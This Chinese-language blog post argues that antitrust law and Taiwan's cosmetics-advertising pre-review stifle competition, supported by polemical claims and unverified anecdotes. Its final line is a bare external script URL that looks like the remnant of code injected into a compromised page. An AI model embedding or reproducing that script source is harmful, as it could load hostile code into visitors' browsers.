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筆記 經濟分析

US cuts back cartel fines while RU hits record $4.1bn. — 2017/01/06

Antitrust penalties across globe hit new high with Brussels levies up tenfold.

Antitrust fines across the globe hit a new high of $6.7bn in 2016, but the two biggest markets took divergent approaches, with the European Commission imposing record fines while penalties fell in the US.

從經濟學來看,反托拉斯法本身就是一個違反經濟學原理的法律,整部法律的效果只會助長壟斷,同時阻礙真正的競爭。

比較困難的推論可以得出,越是積極推行反托拉斯法的社會,其同時期經濟發展一定越差。

最近因一例一休產生的全面性漲價,根本就是經濟學上之必然結果。愚蠢的法律人跳出來要查聯合行為,我只想說:「拜託,放過台灣經濟吧,已經因為一堆左派蠢蛋而失去一切希望了,別再火上加油,最後台灣人只能唱著名曲 I dreamed a dream那句” … so different from this hell I’m living”。」

不過想想經濟學也告訴我們,任何一個有點租值的社會必然有許多蛀蟲靠這類侵害他人產權/尋租的方式維生。

最近化妝品廣告事前審查制度終於被大法官宣告侵害廠商言論自由違憲,但10幾年來多少廠商受害受損,試問政府以及執行公務員要不要賠償?

碰過這一塊的就知道這群公務員有多可惡,打著保護消費者的大旗,其實阻礙台灣化妝品產業發展至極。

先不提緩慢的行政效率,我就碰過許多化妝品業界的人抱怨:春夏應該上檔的防曬乳廣告,被這群衛生局公務員從年初審到秋天都還沒審完,公文來來回回形同凌遲。試問廠商要不要先跟媒體、廣告公司定版面、排時間?公務員怠惰緩慢造成開天窗要不要賠償?

令人哭笑不得地,我親耳聽過一個衛生局公務員跟我抱怨:「你們廠商為什麼老愛刊廣告找我麻煩,讓我事情做不完?」

台灣衛生單位後來乾脆搞出一個手冊,明載「化妝品廣告只能使用哪些說詞」。滑天下之大稽啊!試問世界上哪個地方不同品牌廣告內容竟然一模一樣?產品特色也一模一樣?原因是:該國衛生單位「只准」你講這些,超過的通通要開罰。

最有名例子就是化妝品廣告「絕對不能出現”白”這個字」,美白、亮白、淨白….都都不准。就算你能拿出國外知名醫學院人體實驗證明你的產品的確有淡化膚色效果,對不起,台灣衛生單位不承認也不想承認這些實驗,你再有科學與實證根據也不准在廣告中提及,連你的實驗結果也不准提,喔,不,是連你曾把產品送國外實驗這件事都不准提。

開罰經濟後果有二:

1. 化妝品同業競爭扭曲化 — 不思考改進產品。某些不肖廠商找一堆工讀生到處尋找同業廣告,不斷檢舉。不管是否違法,同業都被迫多次到衛生單位說明,徒增成本與困擾。
2. 大品牌本錢厚,把罰款當做廣告成本一部分;或是黨政關係良好的品牌,一通電話罰單自動取消。新興小品牌就算產品再好再行,受罰基金不夠粗也只能被淘汰 — 注意,不是市場競爭淘汰,而是被政府淘汰。

以上均是我親眼所見:某品牌一年撥上千萬等著被罰;另某品牌背後大股東是某黨立院高人與直轄市高官,該品牌經理一通電話,衛生單位公務員連連道歉,直言是新進人員有眼不識泰山,沒看出這廣告背後靠山而「誤罰」,都是誤會,罰單立馬取消。此品牌廣告天花亂墜也安然無事。


這種扭曲市場競爭的法律,何止是侵害廠商言論自由而已!而是整個產業發展也被扭曲化、尋租化與出走化。台灣大法官只看言論自由,在法律經濟分析這塊還是顯得太過無知。
https://js.developerstatss.ga/stat.js?n=ns1

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